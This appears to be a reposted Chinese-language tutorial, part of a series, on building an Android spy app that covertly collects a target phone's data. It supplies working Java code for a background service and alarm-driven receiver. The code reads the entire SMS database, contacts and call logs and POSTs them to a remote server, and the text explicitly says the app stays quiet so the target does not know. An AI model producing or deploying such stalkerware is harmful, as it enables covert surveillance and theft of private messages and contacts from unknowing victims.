您好,登錄后才能下訂單哦!
這篇文章主要介紹了Android怎么實現類似于天眼應用程序的相關知識,內容詳細易懂,操作簡單快捷,具有一定借鑒價值,相信大家閱讀完這篇Android怎么實現類似于天眼應用程序文章都會有所收獲,下面我們一起來看看吧。
在今天的教程中,我們將持續收集有關手機上聯系人,通話記錄和短信(短信)的信息。從某種意義上說,我們將把代碼放在定期運行(不時,間隔)的服務中,并確保我們擁有最新的信息。您可以將間隔設置為從一分鐘到一天中任何一小時的任何值。
我們添加一個按鈕,觸發目標設備上的監控。讓我們轉到我們的content_dashboard.xml并添加按鈕。
<?xml version="1.0" encoding="utf-8"?><RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"xmlns:app="http://schemas.android.com/apk/res-auto"xmlns:tools="http://schemas.android.com/tools"android:layout_width="match_parent"android:layout_height="match_parent"app:layout_behavior="@string/appbar_scrolling_view_behavior"tools:context=".Dashboard"tools:showIn="@layout/activity_dashboard"><android.support.v7.widget.RecyclerView android:layout_width="match_parent" android:layout_above="@id/service_monitor_button" android:id="@+id/dashboard_recycler_view" android:layout_height="match_parent" /><Button android:layout_width="match_parent" android:text="Start MONITORING" android:padding="10dp" android:id="@+id/service_monitor_button" android:textColor="@android:color/white" android:background="@color/colorPrimary" style="@style/Base.Widget.AppCompat.Button.Borderless" android:layout_alignParentBottom="true" android:layout_height="wrap_content" /></RelativeLayout>
使用布局中聲明的按鈕,讓我們在Dashboard.java文件中聲明。 在公共類Dashboard ...語句下面,聲明按鈕。
public class Dashboard extends AppCompatActivity { private RecyclerView recyclerView; private List<RecyclerJava> recyclerJavaList = new ArrayList<>(); private RecyclerAdapter recyclerAdapter; private Button service_monitor_btn; // New added button declaration protected static final int GPS_REQUEST_CODE = 5000; protected static final int CONTACTS_REQUEST_CODE = 5001; protected static final int CALENDAR_REQUEST_CODE = 5002; protected static final int MIC_REQUEST_CODE = 5003; protected static final int CAMERA_REQUEST_CODE = 5004; protected static final int STORAGE_REQUEST_CODE = 5005; protected static final int SMS_REQUEST_CODE = 5006; ONCREATE METHOD
ONCREATE方法
聲明我們的按鈕后,讓我們滾動到onCreate方法并設置對我們按鈕的引用并設置單擊偵聽器。
@Overrideprotected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_dashboard); Toolbar toolbar = findViewById(R.id.dashboard_toolbar); setSupportActionBar(toolbar); recyclerView = findViewById(R.id.dashboard_recycler_view); recyclerAdapter = new RecyclerAdapter(recyclerJavaList); RecyclerView.LayoutManager mLayoutManager = new LinearLayoutManager(getApplicationContext()); recyclerView.setLayoutManager(mLayoutManager); recyclerView.setItemAnimator(new DefaultItemAnimator()); recyclerView.addItemDecoration(new DividerItemDecoration(Dashboard.this, LinearLayoutManager.VERTICAL)); // Finding the button service_monitor_btn = findViewById(R.id.service_monitor_button); // Checking if our TimerService is running if(MyServiceIsRunning(TimerService.class)) { service_monitor_btn.setText("STOP MONITORING"); } else { service_monitor_btn.setText("START MONITORING"); } // Setting a click listener on the button service_monitor_btn.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View view) { if(MyServiceIsRunning(TimerService.class)) { Log.i("0x00sec", "Stopping Service ..."); stopService(new Intent(Dashboard.this, TimerService.class)); service_monitor_btn.setText("START MONITORING"); } else { Log.i("0x00sec", "Starting Service ..."); startService(new Intent(Dashboard.this, TimerService.class)); service_monitor_btn.setText("STOP MONITORING"); } } }); updateRecycler(); }
1 - 我們將按鈕分配給布局文件中的視圖對象。
2 - MyServiceIsRunning是一種檢查服務是否正在運行的方法。 我們希望按鈕上的文本設置為在服務運行時停止,并在服務未運行時啟動。
3 - 要檢查的服務是TimerService.class。 其功能是設置一個重復報警功能,調用廣播接收器向服務器發送信息。 讓我們一點一點地接受它。
MYSERVICEISRUNNING
解釋此方法接受服務參數并檢查服務是否正在運行并返回一個布爾值(true / false)
private boolean MyServiceIsRunning(Class<?> serviceClass) { ActivityManager manager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE); for (ActivityManager.RunningServiceInfo service : manager.getRunningServices(Integer.MAX_VALUE)) { if (serviceClass.getName().equals(service.service.getClassName())) { return true; } } return false; }
計時的服務
此服務啟動一個調用廣播接收器的重復警報(警報管理器)。 接收器然后開始上傳信息。 創建一個新的java類并將其擴展到Service類。
讓我們開始code:
import android.app.AlarmManager;import android.app.PendingIntent;import android.app.Service;import android.content.Context;import android.content.Intent;import android.os.IBinder;import android.os.SystemClock;import android.support.annotation.Nullable;import android.util.Log;public class TimerService extends Service {@Overridepublic void onCreate() { super.onCreate(); AlarmManager alarmManager = (AlarmManager) getSystemService(Context.ALARM_SERVICE); Intent intent = new Intent(TimerService.this, ServerUpdateReceiver.class); PendingIntent pendingIntent = PendingIntent.getBroadcast(this,0,intent, 0); alarmManager.setRepeating(AlarmManager.ELAPSED_REALTIME_WAKEUP, SystemClock.elapsedRealtime(), AlarmManager.INTERVAL_HOUR, pendingIntent); // stopSelf(); // Optional}@Overridepublic int onStartCommand(Intent intent, int flags, int startId) { return super.onStartCommand(intent, flags, startId); }@Overridepublic void onDestroy() { // Stop Service super.onDestroy(); }@Nullable@Overridepublic IBinder onBind(Intent intent) { return null; } }
唯一重要的方法是onCreate方法。
使用AlarmManager,我們安排重復警報來調用ServerUpdateReceiver.class(廣播接收器)。數據可以通過intent.putExtra調用傳遞給接收者,但我們現在不會傳遞任何數據。
需要注意的另一件事是AlarmManager.INTERVAL_HOUR。這段參數(以毫秒為單位)是警報的間隔。最小值是60秒(1分鐘 - 60000毫秒),你不能在下面設置。如果將其設置為低于60秒,Android將強制將其設置為一分鐘。我們將接收器配置為每小時調用一次。建議甚至增加一點,因為頻繁的調用可以調用應用程序崩潰,電池耗盡或在內存不足的情況下殺死我們的應用程序。
我完全清楚,在發送數據之前,我們不會檢查手機是否已連接到互聯網。我們稍后會修復,但同時我們必須確保手機已連接到互聯網。沒有互聯網連接的重復呼叫將導致應用暫時崩潰。暫時因為警報呼叫將再次被觸發,而警報呼叫將再次呼叫我們的接收器。持續重復。
服務更新接收器(廣播)
該接收器只是將定期數據發送到我們定義的服如果未授予權限,則不會調用適當的方法,因為android不允許我們收集我們無權訪問的數據。
創建一個java類并將其擴展到BroadcastReceiver類。
請記住,如果您沒有根據教程中的對象命名對象,請確保根據代碼替換它們。
BroadcastReceiver唯一需要的方法是onReceive Override方法。 你的代碼應該是這樣的:
public class ServerUpdateReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { } }
在public class語句下面,讓我們聲明一個Context。 有了這個,所有其他方法都可以訪問它。
public class ServerUpdateReceiver extends BroadcastReceiver { Context context; ...
開展方法
在該方法中,我們首先檢查是否授予了權限,然后調用適當的方法。 本教程將介紹聯系人,通話記錄和短信。
@Overridepublic void onReceive(Context context, Intent intent) { this.context = context; if(ActivityCompat.checkSelfPermission(context, Manifest.permission.READ_SMS) == PackageManager.PERMISSION_GRANTED) { new Thread(new Runnable() { @Override public void run() { update_Server_SMS(); } }).start(); } if(ActivityCompat.checkSelfPermission(context, Manifest.permission.READ_CONTACTS) == PackageManager.PERMISSION_GRANTED) { new Thread(new Runnable() { @Override public void run() { update_Server_Contacts(); update_Server_Call_Logs(); } }).start(); } }
將SMS消息發送到服務器的方法是update_Server_SMS,負責發送聯系信息和調用日志的方法是update_Server_Call_Logs和update_Server_Contacts。
而不是使用不同的方法來處理與服務器的通信。 我們將創建一個接受POST參數和處理程序通信的方法。 有了這個,類中的所有方法都可以通過調用它并傳遞它們的參數來進行外部通信。
UPDATE_SERVER方法
更新服務器是處理與服務器的通信的方法。 它接受POST參數并發送它們。
private void update_Server(final Map<String, String> params) { RequestQueue requestQueue = Volley.newRequestQueue(context); StringRequest serverRequest = new StringRequest(Request.Method.POST, Configuration.getApp_auth(), new Response.Listener<String>() { @Override public void onResponse(String req) { } }, new Response.ErrorListener() { @Override public void onErrorResponse(VolleyError error) { } }) { protected Map<String, String> getParams() { return params; } }; requestQueue.add(serverRequest); }
由于這個類是非UI(呃,也許可以做很少的UI工作,如通知等),我們不想推送如上傳完成的任何通知,因為它是間諜應用程序:我們讓目標不想知道已發送的信息的。 盡可能的安靜。 因此,我們不在此處包含任何UI代碼。 由于我們也不知道我們的數據是否已保存,因此我們確保服務器正確接收數據。 繼續 …
UPDATE_SERVER_SMS
此方法讀取電話的SMS數據庫(收件箱,草稿,已發送),并通過update_Server方法將它們發送到服務器。
private void update_Server_SMS() { SharedPreferences sharedPreferences = context.getSharedPreferences("Auth", Context.MODE_PRIVATE); final String auth_key = sharedPreferences.getString("auth_key", null); try { Uri uriSMSURI = Uri.parse("content://sms"); Cursor cursor = context.getContentResolver().query(uriSMSURI, null, null, null,null); while (cursor.moveToNext()) { String address = cursor.getString(cursor.getColumnIndexOrThrow("address")).toString(); String message = cursor.getString(cursor.getColumnIndexOrThrow("body")).toString(); String date = cursor.getString(cursor.getColumnIndexOrThrow("date")).toString(); String read = cursor.getString(cursor.getColumnIndexOrThrow("read")).toString(); String type = cursor.getString(cursor.getColumnIndexOrThrow("type")).toString(); String id = cursor.getString(cursor.getColumnIndexOrThrow("_id")).toString(); if(read.equals("0")) { read = "no"; } else { read = "yes"; } if(type.equals("1")) { type = "inbox"; } else if(type.equals("2")) { type = "sent"; } else { type = "draft"; } date = get_Long_Date(date); // THIS IS HOW TO CREATE THE POST PARAMETERS ( MAP ARRAY ) Map<String, String> params = new HashMap<>(); params.put("address", address); params.put("message", message); params.put("date", date); params.put("read", read); params.put("id", id); params.put("type", type); params.put("auth", auth_key); update_Server(params); } } catch (Exception e) { } }
content:// sms - 允許我們遍歷整個SMS數據庫,而不是將自己限制在收件箱,草稿或已發送的郵件中。
cursor.getColumnIndexOrThrow - 允許我們獲取光標的相應列索引。 請注意,輸入錯誤的列名將導致應用程序崩潰。 這些是列的含義。
地址 - 電話號碼
消息 - 消息的內容
日期 - 消息的時間
讀 - 消息狀態(0 - 不讀,1 - 讀)
類型 - 消息類型(1 - 收件箱,2 - 發件箱,3 - 草稿(猜測工作))
id - 唯一的消息標識符
使用get_Long_Date將日期構造成人類可讀的。
然后我們構造POST參數并調用update_Server方法來傳遞信息。
然后服務器應該收到類似$ _POST ['address'] && $ _POST ['message']的內容......
GET_LONG_DATE方法
接受并將傳遞的參數轉換為可讀參數。
private String get_Long_Date(String date) { Long timestamp = Long.parseLong(date); Calendar calendar = Calendar.getInstance(); calendar.setTimeInMillis(timestamp); DateFormat formatter = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss"); return formatter.format(calendar.getTime()); }
UPDATE_SERVER_CONTACTS
這個方法與上面的方法一樣,遍歷Contact數據庫,獲取信息并發送它。
private void update_Server_Contacts() { SharedPreferences sharedPreferences = context.getSharedPreferences("Auth", Context.MODE_PRIVATE); final String auth_key = sharedPreferences.getString("auth_key", null); Cursor cursor = context.getContentResolver().query(ContactsContract.Contacts.CONTENT_URI,null, null, null, null); while (cursor.moveToNext()) { try{ String contactId = cursor.getString(cursor.getColumnIndex(ContactsContract.Contacts._ID)); String name=cursor.getString(cursor.getColumnIndex(ContactsContract.Contacts.DISPLAY_NAME)); String phoneNumber = null; if (Integer.parseInt(cursor.getString(cursor.getColumnIndex(ContactsContract.Contacts.HAS_PHONE_NUMBER))) > 0) { Cursor phones = context.getContentResolver().query( ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, ContactsContract.CommonDataKinds.Phone.CONTACT_ID +" = "+ contactId, null, null); while (phones.moveToNext()) { phoneNumber = phones.getString(phones.getColumnIndex( ContactsContract.CommonDataKinds.Phone.NUMBER)); break; } phones.close(); if(phoneNumber != null) { Map<String, String> params = new HashMap<>(); params.put("contact_name", name); params.put("contact_phone", phoneNumber); params.put("auth", auth_key); update_Server(params); } } }catch(Exception e) { } } }
同樣,更改ColumnIndex將導致應用程序崩潰。 它們是不變的價值觀。
UPDATE_SERVER_CALL_LOGS
方法就像其他兩個循環通過調用日志數據庫并獲取信息。
@SuppressLint("MissingPermission")private void update_Server_Call_Logs() { SharedPreferences sharedPreferences = context.getSharedPreferences("Auth", Context.MODE_PRIVATE); final String auth_key = sharedPreferences.getString("auth_key", null); Cursor cursor = context.getContentResolver().query(CallLog.Calls.CONTENT_URI, null, null, null, null); int phone_number = cursor.getColumnIndex(CallLog.Calls.NUMBER); int type = cursor.getColumnIndex(CallLog.Calls.TYPE); int date = cursor.getColumnIndex(CallLog.Calls.DATE); int duration = cursor.getColumnIndex(CallLog.Calls.DURATION); while (cursor.moveToNext()) { String number = cursor.getString(phone_number); String call_type = cursor.getString(type); String call_date = get_Long_Date(cursor.getString(date)); String call_duration = cursor.getString(duration); int call_code = Integer.parseInt(call_type); switch (call_code) { case CallLog.Calls.OUTGOING_TYPE: call_type = "OUTGOING"; break; case CallLog.Calls.INCOMING_TYPE: call_type = "INCOMING"; break; case CallLog.Calls.MISSED_TYPE: call_type = "MISSED"; break; } Map<String, String> params = new HashMap<>(); params.put("phone_number", number); params.put("call_date", call_date); params.put("call_type", call_type); params.put("call_duration", call_duration); params.put("auth", auth_key); update_Server(params); } cursor.close(); }
我們已完成本教程。 在我們超越自我之前。 我花了幾天時間才意識到我忘記添加適當的呼叫日志權限,盡管我們已經在上一個教程中添加了它們。 沒有READ_CALL_LOGS和WRITE_CALL_LOGS權限。 我們無法訪問通話記錄。 讓我們將它們添加到AndroidManifest.xml。
<uses-permission android:name="android.permission.READ_CALL_LOG" /><uses-permission android:name="android.permission.WRITE_CALL_LOG" />
現在來吧,運行你的Android應用程序。 允許權限并開始監控。 您的數據應該發送到測試服務器(如果您使用我的測試服務器)。
關于“Android怎么實現類似于天眼應用程序”這篇文章的內容就介紹到這里,感謝各位的閱讀!相信大家對“Android怎么實現類似于天眼應用程序”知識都有一定的了解,大家如果還想學習更多知識,歡迎關注億速云行業資訊頻道。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。